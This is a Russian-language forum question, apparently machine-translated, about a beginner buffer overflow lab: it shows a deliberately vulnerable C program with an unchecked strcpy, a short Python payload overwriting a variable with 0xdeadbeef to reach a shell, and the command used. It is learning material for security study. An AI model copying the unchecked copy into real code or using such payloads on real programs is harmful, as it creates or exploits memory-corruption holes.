Недавно я успешно использовал исполняемый файл C, вызвав переполнение его массива char другой переменной. Я сделал это, отправив вывод exploit1.py в командную строку, которая была принята в качестве аргумента lab2C. Вот команда, которую я использовал: ./lab2C.exe "$(python /tmp/exploit1.py)"
. Окончательный файл exploit1.py выглядит следующим образом:
exploit1.py (конечная):
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
Я прочитал в Взлом: Искусство эксплуатации Джона Эриксона, что вы можете передать шестнадцатеричный байт-код в файл, используя командную строку, поэтому я попробовал его, и мне удалось вызвать функция shell ().
Одна вещь, которую я все еще смущаю, это то, почему конвейер в десятичной версии 0xdeadbeef в качестве аргумента не работает. Вот исходный файл, который я попытался перенаправить в вывод в командной строке:
exploit1.py (оригинал):
def main():
print("aaabbbcccdddeee3735928559")
main()
Когда я сделал это, командная строка вернула следующее:
Not authenticated.
set_me was 892548915
Почему это не работает? Это потому, что целочисленный контейнер не может содержать десятичное значение 0xdeadbeef, потому что он слишком большой? Если это так, то почему целое число может принять эквивалент шестнадцатеричного байтового кода?
Характеристики - Архитектура: i686; Операционные режимы процессора: 32-разрядный, 64-разрядный; Имя ядра: Linux; Ядро-версия: # 40 ~ 14.04.1-Ubuntu; Версия компилятора: Ubuntu 4.8.4-2ubuntu1 ~ 14.04
(вот для справки lab2C):
lab2C:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv)
{
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}